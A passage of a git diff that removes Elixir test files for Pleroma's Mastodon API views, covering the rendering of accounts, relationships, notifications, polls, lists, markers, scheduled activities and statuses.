clear_config([:restrict_unauthenticated, :profiles, :local], false) - - user = insert(:user) - user_id = user.id - - assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: nil}) - assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: user}) - - assert %{id: ^user_id} = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - - assert_raise RuntimeError, ~r/:skip_visibility_check or :for option is required/, fn -> - AccountView.render("show.json", %{user: user}) - end - end - - describe "relationship" do - defp test_relationship_rendering(user, other_user, expected_result) do - opts = %{user: user, target: other_user, relationships: nil} - assert expected_result == AccountView.render("relationship.json", opts) - - relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) - opts = Map.put(opts, :relationships, relationships_opt) - assert expected_result == AccountView.render("relationship.json", opts) - - assert [expected_result] == - AccountView.render("relationships.json", %{user: user, targets: [other_user]}) - end - - @blank_response %{ - following: false, - followed_by: false, - blocking: false, - blocked_by: false, - muting: false, - muting_notifications: false, - subscribing: false, - requested: false, - domain_blocking: false, - showing_reblogs: true, - endorsed: false - } - - test "represent a relationship for the following and followed user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, user} = User.follow(user, other_user) - {:ok, other_user} = User.follow(other_user, user) - {:ok, _subscription} = User.subscribe(user, other_user) - {:ok, _user_relationships} = User.mute(user, other_user, true) - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, other_user) - - expected = - Map.merge( - @blank_response, - %{ - following: true, - followed_by: true, - muting: true, - muting_notifications: true, - subscribing: true, - showing_reblogs: false, - id: to_string(other_user.id) - } - ) - - test_relationship_rendering(user, other_user, expected) - end - - test "represent a relationship for the blocking and blocked user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, user} = User.follow(user, other_user) - {:ok, _subscription} = User.subscribe(user, other_user) - {:ok, _user_relationship} = User.block(user, other_user) - {:ok, _user_relationship} = User.block(other_user, user) - - expected = - Map.merge( - @blank_response, - %{following: false, blocking: true, blocked_by: true, id: to_string(other_user.id)} - ) - - test_relationship_rendering(user, other_user, expected) - end - - test "represent a relationship for the user blocking a domain" do - user = insert(:user) - other_user = insert(:user, ap_id: "https://bad.site/users/other_user") - - {:ok, user} = User.block_domain(user, "bad.site") - - expected = - Map.merge( - @blank_response, - %{domain_blocking: true, blocking: false, id: to_string(other_user.id)} - ) - - test_relationship_rendering(user, other_user, expected) - end - - test "represent a relationship for the user with a pending follow request" do - user = insert(:user) - other_user = insert(:user, locked: true) - - {:ok, user, other_user, _} = CommonAPI.follow(user, other_user) - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - expected = - Map.merge( - @blank_response, - %{requested: true, following: false, id: to_string(other_user.id)} - ) - - test_relationship_rendering(user, other_user, expected) - end - end - - test "returns the settings store if the requesting user is the represented user and it's requested specifically" do - user = insert(:user, pleroma_settings_store: %{fe: "test"}) - - result = - AccountView.render("show.json", %{user: user, for: user, with_pleroma_settings: true}) - - assert result.pleroma.settings_store == %{:fe => "test"} - - result = AccountView.render("show.json", %{user: user, for: nil, with_pleroma_settings: true}) - assert result.pleroma[:settings_store] == nil - - result = AccountView.render("show.json", %{user: user, for: user}) - assert result.pleroma[:settings_store] == nil - end - - test "doesn't sanitize display names" do - user = insert(:user, name: "<marquee> username </marquee>") - result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - assert result.display_name == "<marquee> username </marquee>" - end - - test "never display nil user follow counts" do - user = insert(:user, following_count: 0, follower_count: 0) - result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - - assert result.following_count == 0 - assert result.followers_count == 0 - end - - describe "hiding follows/following" do - test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do - user = - insert(:user, %{ - hide_followers: true, - hide_followers_count: true, - hide_follows: true, - hide_follows_count: true - }) - - other_user = insert(:user) - {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{ - followers_count: 0, - following_count: 0, - pleroma: %{hide_follows_count: true, hide_followers_count: true} - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "shows when follows/followers are hidden" do - user = insert(:user, hide_followers: true, hide_follows: true) - other_user = insert(:user) - {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{ - followers_count: 1, - following_count: 1, - pleroma: %{hide_follows: true, hide_followers: true} - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "shows actual follower/following count to the account owner" do - user = insert(:user, hide_followers: true, hide_follows: true) - other_user = insert(:user) - {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) - - assert User.following?(user, other_user) - assert Pleroma.FollowingRelationship.follower_count(other_user) == 1 - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{ - followers_count: 1, - following_count: 1 - } = AccountView.render("show.json", %{user: user, for: user}) - end - - test "shows unread_conversation_count only to the account owner" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(other_user, %{ - status: "Hey @#{user.nickname}.", - visibility: "direct" - }) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert AccountView.render("show.json", %{user: user, for: other_user})[:pleroma][ - :unread_conversation_count - ] == nil - - assert AccountView.render("show.json", %{user: user, for: user})[:pleroma][ - :unread_conversation_count - ] == 1 - end - - test "shows unread_count only to the account owner" do - user = insert(:user) - insert_list(7, :notification, user: user, activity: insert(:note_activity)) - other_user = insert(:user) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert AccountView.render( - "show.json", - %{user: user, for: other_user} - )[:pleroma][:unread_notifications_count] == nil - - assert AccountView.render( - "show.json", - %{user: user, for: user} - )[:pleroma][:unread_notifications_count] == 7 - end - end - - describe "follow requests counter" do - test "shows zero when no follow requests are pending" do - user = insert(:user) - - assert %{follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "shows non-zero when follow requests are pending" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{locked: true, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "decreases when accepting a follow request" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{locked: true, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - - {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) - - assert %{locked: true, follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "decreases when rejecting a follow request" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{locked: true, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - - {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) - - assert %{locked: true, follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "shows non-zero when historical unapproved requests are present" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - {:ok, user} = User.update_and_set_cache(user, %{locked: false}) - - assert %{locked: false, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - end - end - - test "uses mediaproxy urls when it's enabled (regardless of media preview proxy state)" do - clear_config([:media_proxy, :enabled], true) - clear_config([:media_preview_proxy, :enabled]) - - user = - insert(:user, - avatar: %{"url" => [%{"href" => "https://evil.website/avatar.png"}]}, - banner: %{"url" => [%{"href" => "https://evil.website/banner.png"}]}, - emoji: %{"joker_smile" => "https://evil.website/society.png"} - ) - - with media_preview_enabled <- [false, true] do - Config.put([:media_preview_proxy, :enabled], media_preview_enabled) - - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - |> Enum.all?(fn - {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> - String.starts_with?(url, Pleroma.Web.base_url()) - - {:emojis, emojis} -> - Enum.all?(emojis, fn %{url: url, static_url: static_url} -> - String.starts_with?(url, Pleroma.Web.base_url()) && - String.starts_with?(static_url, Pleroma.Web.base_url()) - end) - - _ -> - true - end) - |> assert() - end - end -end diff --git a/test/web/mastodon_api/views/conversation_view_test.exs b/test/web/mastodon_api/views/conversation_view_test.exs deleted file mode 100644 index 2e8203c9b..000000000 --- a/test/web/mastodon_api/views/conversation_view_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ConversationViewTest do - use Pleroma.DataCase - - alias Pleroma.Conversation.Participation - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.ConversationView - - import Pleroma.Factory - - test "represents a Mastodon Conversation entity" do - user = insert(:user) - other_user = insert(:user) - - {:ok, parent} = CommonAPI.post(user, %{status: "parent"}) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}", - visibility: "direct", - in_reply_to_id: parent.id - }) - - {:ok, _reply_activity} = - CommonAPI.post(user, %{status: "hu", visibility: "public", in_reply_to_id: parent.id}) - - [participation] = Participation.for_user_with_last_activity_id(user) - - assert participation - - conversation = - ConversationView.render("participation.json", %{participation: participation, for: user}) - - assert conversation.id == participation.id |> to_string() - assert conversation.last_status.id == activity.id - - assert [account] = conversation.accounts - assert account.id == other_user.id - assert conversation.last_status.pleroma.direct_conversation_id == participation.id - end -end diff --git a/test/web/mastodon_api/views/list_view_test.exs b/test/web/mastodon_api/views/list_view_test.exs deleted file mode 100644 index ca99242cb..000000000 --- a/test/web/mastodon_api/views/list_view_test.exs +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ListViewTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.MastodonAPI.ListView - - test "show" do - user = insert(:user) - title = "mortal enemies" - {:ok, list} = Pleroma.List.create(title, user) - - expected = %{ - id: to_string(list.id), - title: title - } - - assert expected == ListView.render("show.json", %{list: list}) - end - - test "index" do - user = insert(:user) - - {:ok, list} = Pleroma.List.create("my list", user) - {:ok, list2} = Pleroma.List.create("cofe", user) - - assert [%{id: _, title: "my list"}, %{id: _, title: "cofe"}] = - ListView.render("index.json", lists: [list, list2]) - end -end diff --git a/test/web/mastodon_api/views/marker_view_test.exs b/test/web/mastodon_api/views/marker_view_test.exs deleted file mode 100644 index 48a0a6d33..000000000 --- a/test/web/mastodon_api/views/marker_view_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MarkerViewTest do - use Pleroma.DataCase - alias Pleroma.Web.MastodonAPI.MarkerView - import Pleroma.Factory - - test "returns markers" do - marker1 = insert(:marker, timeline: "notifications", last_read_id: "17", unread_count: 5) - marker2 = insert(:marker, timeline: "home", last_read_id: "42") - - assert MarkerView.render("markers.json", %{markers: [marker1, marker2]}) == %{ - "home" => %{ - last_read_id: "42", - updated_at: NaiveDateTime.to_iso8601(marker2.updated_at), - version: 0, - pleroma: %{unread_count: 0} - }, - "notifications" => %{ - last_read_id: "17", - updated_at: NaiveDateTime.to_iso8601(marker1.updated_at), - version: 0, - pleroma: %{unread_count: 5} - } - } - end -end diff --git a/test/web/mastodon_api/views/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs deleted file mode 100644 index 2f6a808f1..000000000 --- a/test/web/mastodon_api/views/notification_view_test.exs +++ /dev/null @@ -1,231 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.MastodonAPI.NotificationView - alias Pleroma.Web.MastodonAPI.StatusView - alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - import Pleroma.Factory - - defp test_notifications_rendering(notifications, user, expected_result) do - result = NotificationView.render("index.json", %{notifications: notifications, for: user}) - - assert expected_result == result - - result = - NotificationView.render("index.json", %{ - notifications: notifications, - for: user, - relationships: nil - }) - - assert expected_result == result - end - - test "ChatMessage notification" do - user = insert(:user) - recipient = insert(:user) - {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "what's up my dude") - - {:ok, [notification]} = Notification.create_notifications(activity) - - object = Object.normalize(activity) - chat = Chat.get(recipient.id, user.ap_id) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "pleroma:chat_mention", - account: AccountView.render("show.json", %{user: user, for: recipient}), - chat_message: MessageReferenceView.render("show.json", %{chat_message_reference: cm_ref}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], recipient, [expected]) - end - - test "Mention notification" do - user = insert(:user) - mentioned_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{mentioned_user.nickname}"}) - {:ok, [notification]} = Notification.create_notifications(activity) - user = User.get_cached_by_id(user.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "mention", - account: - AccountView.render("show.json", %{ - user: user, - for: mentioned_user - }), - status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], mentioned_user, [expected]) - end - - test "Favourite notification" do - user = insert(:user) - another_user = insert(:user) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) - {:ok, [notification]} = Notification.create_notifications(favorite_activity) - create_activity = Activity.get_by_id(create_activity.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "favourite", - account: AccountView.render("show.json", %{user: another_user, for: user}), - status: StatusView.render("show.json", %{activity: create_activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end - - test "Reblog notification" do - user = insert(:user) - another_user = insert(:user) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, another_user) - {:ok, [notification]} = Notification.create_notifications(reblog_activity) - reblog_activity = Activity.get_by_id(create_activity.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "reblog", - account: AccountView.render("show.json", %{user: another_user, for: user}), - status: StatusView.render("show.json", %{activity: reblog_activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end - - test "Follow notification" do - follower = insert(:user) - followed = insert(:user) - {:ok, follower, followed, _activity} = CommonAPI.follow(follower, followed) - notification = Notification |> Repo.one() |> Repo.preload(:activity) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "follow", - account: AccountView.render("show.json", %{user: follower, for: followed}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], followed, [expected]) - - User.perform(:delete, follower) - refute Repo.one(Notification) - end - - @tag capture_log: true - test "Move notification" do - old_user = insert(:user) - new_user = insert(:user, also_known_as: [old_user.ap_id]) - follower = insert(:user) - - old_user_url = old_user.ap_id - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", old_user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock(fn - %{method: :get, url: ^old_user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - User.follow(follower, old_user) - Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) - Pleroma.Tests.ObanHelpers.perform_all() - - old_user = refresh_record(old_user) - new_user = refresh_record(new_user) - - [notification] = Notification.for_user(follower) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "move", - account: AccountView.render("show.json", %{user: old_user, for: follower}), - target: AccountView.render("show.json", %{user: new_user, for: follower}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], follower, [expected]) - end - - test "EmojiReact notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - activity = Repo.get(Activity, activity.id) - - [notification] = Notification.for_user(user) - - assert notification - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "pleroma:emoji_reaction", - emoji: "☕", - account: AccountView.render("show.json", %{user: other_user, for: user}), - status: StatusView.render("show.json", %{activity: activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end - - test "muted notification" do - user = insert(:user) - another_user = insert(:user) - - {:ok, _} = Pleroma.UserRelationship.create_mute(user, another_user) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) - {:ok, [notification]} = Notification.create_notifications(favorite_activity) - create_activity = Activity.get_by_id(create_activity.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: true, is_muted: true}, - type: "favourite", - account: AccountView.render("show.json", %{user: another_user, for: user}), - status: StatusView.render("show.json", %{activity: create_activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end -end diff --git a/test/web/mastodon_api/views/poll_view_test.exs b/test/web/mastodon_api/views/poll_view_test.exs deleted file mode 100644 index b7e2f17ef..000000000 --- a/test/web/mastodon_api/views/poll_view_test.exs +++ /dev/null @@ -1,167 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.PollViewTest do - use Pleroma.DataCase - - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.PollView - - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "renders a poll" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Is Tenshi eating a corndog cute?", - poll: %{ - options: ["absolutely!", "sure", "yes", "why are you even asking?"], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - expected = %{ - emojis: [], - expired: false, - id: to_string(object.id), - multiple: false, - options: [ - %{title: "absolutely!", votes_count: 0}, - %{title: "sure", votes_count: 0}, - %{title: "yes", votes_count: 0}, - %{title: "why are you even asking?", votes_count: 0} - ], - voted: false, - votes_count: 0, - voters_count: nil - } - - result = PollView.render("show.json", %{object: object}) - expires_at = result.expires_at - result = Map.delete(result, :expires_at) - - assert result == expected - - expires_at = NaiveDateTime.from_iso8601!(expires_at) - assert NaiveDateTime.diff(expires_at, NaiveDateTime.utc_now()) in 15..20 - end - - test "detects if it is multiple choice" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Which Mastodon developer is your favourite?", - poll: %{ - options: ["Gargron", "Eugen"], - expires_in: 20, - multiple: true - } - }) - - voter = insert(:user) - - object = Object.normalize(activity) - - {:ok, _votes, object} = CommonAPI.vote(voter, object, [0, 1]) - - assert match?( - %{ - multiple: true, - voters_count: 1, - votes_count: 2 - }, - PollView.render("show.json", %{object: object}) - ) - end - - test "detects emoji" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "What's with the smug face?", - poll: %{ - options: [":blank: sip", ":blank::blank: sip", ":blank::blank::blank: sip"], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - assert %{emojis: [%{shortcode: "blank"}]} = PollView.render("show.json", %{object: object}) - end - - test "detects vote status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Which input devices do you use?", - poll: %{ - options: ["mouse", "trackball", "trackpoint"], - multiple: true, - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - {:ok, _, object} = CommonAPI.vote(other_user, object, [1, 2]) - - result = PollView.render("show.json", %{object: object, for: other_user}) - - assert result[:voted] == true - assert Enum.at(result[:options], 1)[:votes_count] == 1 - assert Enum.at(result[:options], 2)[:votes_count] == 1 - end - - test "does not crash on polls with no end date" do - object = Object.normalize("https://skippers-bin.com/notes/7x9tmrp97i") - result = PollView.render("show.json", %{object: object}) - - assert result[:expires_at] == nil - assert result[:expired] == false - end - - test "doesn't strips HTML tags" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "What's with the smug face?", - poll: %{ - options: [ - "<input type=\"date\">", - "<input type=\"date\" >", - "<input type=\"date\"/>", - "<input type=\"date\"></input>" - ], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - assert %{ - options: [ - %{title: "<input type=\"date\">", votes_count: 0}, - %{title: "<input type=\"date\" >", votes_count: 0}, - %{title: "<input type=\"date\"/>", votes_count: 0}, - %{title: "<input type=\"date\"></input>", votes_count: 0} - ] - } = PollView.render("show.json", %{object: object}) - end -end diff --git a/test/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/web/mastodon_api/views/scheduled_activity_view_test.exs deleted file mode 100644 index fbfd873ef..000000000 --- a/test/web/mastodon_api/views/scheduled_activity_view_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do - use Pleroma.DataCase - alias Pleroma.ScheduledActivity - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.ScheduledActivityView - alias Pleroma.Web.MastodonAPI.StatusView - import Pleroma.Factory - - test "A scheduled activity with a media attachment" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hi"}) - - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(10), :millisecond) - |> NaiveDateTime.to_iso8601() - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - attrs = %{ - params: %{ - "media_ids" => [upload.id], - "status" => "hi", - "sensitive" => true, - "spoiler_text" => "spoiler", - "visibility" => "unlisted", - "in_reply_to_id" => to_string(activity.id) - }, - scheduled_at: scheduled_at - } - - {:ok, scheduled_activity} = ScheduledActivity.create(user, attrs) - result = ScheduledActivityView.render("show.json", %{scheduled_activity: scheduled_activity}) - - expected = %{ - id: to_string(scheduled_activity.id), - media_attachments: - %{media_ids: [upload.id]} - |> Utils.attachments_from_ids() - |> Enum.map(&StatusView.render("attachment.json", %{attachment: &1})), - params: %{ - in_reply_to_id: to_string(activity.id), - media_ids: [upload.id], - poll: nil, - scheduled_at: nil, - sensitive: true, - spoiler_text: "spoiler", - text: "hi", - visibility: "unlisted" - }, - scheduled_at: Utils.to_masto_date(scheduled_activity.scheduled_at) - } - - assert expected == result - end -end diff --git a/test/web/mastodon_api/views/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs deleted file mode 100644 index 70d829979..000000000 --- a/test/web/mastodon_api/views/status_view_test.exs +++ /dev/null @@ -1,664 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.StatusViewTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Bookmark - alias Pleroma.Conversation.Participation - alias Pleroma.HTML - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.UserRelationship - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.MastodonAPI.StatusView - - import Pleroma.Factory - import Tesla.Mock - import OpenApiSpex.TestAssertions - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "has an emoji reaction list" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "dae cofe??"}) - - {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "☕") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, third_user, "🍵") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - activity = Repo.get(Activity, activity.id) - status = StatusView.render("show.json", activity: activity) - - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - - assert status[:pleroma][:emoji_reactions] == [ - %{name: "☕", count: 2, me: false}, - %{name: "🍵", count: 1, me: false} - ] - - status = StatusView.render("show.json", activity: activity, for: user) - - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - - assert status[:pleroma][:emoji_reactions] == [ - %{name: "☕", count: 2, me: true}, - %{name: "🍵", count: 1, me: false} - ] - end - - test "works correctly with badly formatted emojis" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "yo"}) - - activity - |> Object.normalize(false) - |> Object.update_data(%{"reactions" => %{"☕" => [user.ap_id], "x" => 1}}) - - activity = Activity.get_by_id(activity.id) - - status = StatusView.render("show.json", activity: activity, for: user) - - assert status[:pleroma][:emoji_reactions] == [ - %{name: "☕", count: 1, me: true} - ] - end - - test "loads and returns the direct conversation id when given the `with_direct_conversation_id` option" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - [participation] = Participation.for_user(user) - - status = - StatusView.render("show.json", - activity: activity, - with_direct_conversation_id: true, - for: user - ) - - assert status[:pleroma][:direct_conversation_id] == participation.id - - status = StatusView.render("show.json", activity: activity, for: user) - assert status[:pleroma][:direct_conversation_id] == nil - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "returns the direct conversation id when given the `direct_conversation_id` option" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - [participation] = Participation.for_user(user) - - status = - StatusView.render("show.json", - activity: activity, - direct_conversation_id: participation.id, - for: user - ) - - assert status[:pleroma][:direct_conversation_id] == participation.id - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "returns a temporary ap_id based user for activities missing db users" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - - Repo.delete(user) - Cachex.clear(:user_cache) - - finger_url = - "https://localhost/.well-known/webfinger?resource=acct:#{user.nickname}@localhost" - - Tesla.Mock.mock_global(fn - %{method: :get, url: "http://localhost/.well-known/host-meta"} -> - %Tesla.Env{status: 404, body: ""} - - %{method: :get, url: "https://localhost/.well-known/host-meta"} -> - %Tesla.Env{status: 404, body: ""} - - %{ - method: :get, - url: ^finger_url - } -> - %Tesla.Env{status: 404, body: ""} - end) - - %{account: ms_user} = StatusView.render("show.json", activity: activity) - - assert ms_user.acct == "erroruser@example.com" - end - - test "tries to get a user by nickname if fetching by ap_id doesn't work" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - - {:ok, user} = - user - |> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"}) - |> Repo.update() - - Cachex.clear(:user_cache) - - result = StatusView.render("show.json", activity: activity) - - assert result[:account][:id] == to_string(user.id) - assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "a note with null content" do - note = insert(:note_activity) - note_object = Object.normalize(note) - - data = - note_object.data - |> Map.put("content", nil) - - Object.change(note_object, %{data: data}) - |> Object.update_and_set_cache() - - User.get_cached_by_ap_id(note.data["actor"]) - - status = StatusView.render("show.json", %{activity: note}) - - assert status.content == "" - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "a note activity" do - note = insert(:note_activity) - object_data = Object.normalize(note).data - user = User.get_cached_by_ap_id(note.data["actor"]) - - convo_id = Utils.context_to_conversation_id(object_data["context"]) - - status = StatusView.render("show.json", %{activity: note}) - - created_at = - (object_data["published"] || "") - |> String.replace(~r/\.\d+Z/, ".000Z") - - expected = %{ - id: to_string(note.id), - uri: object_data["id"], - url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note), - account: 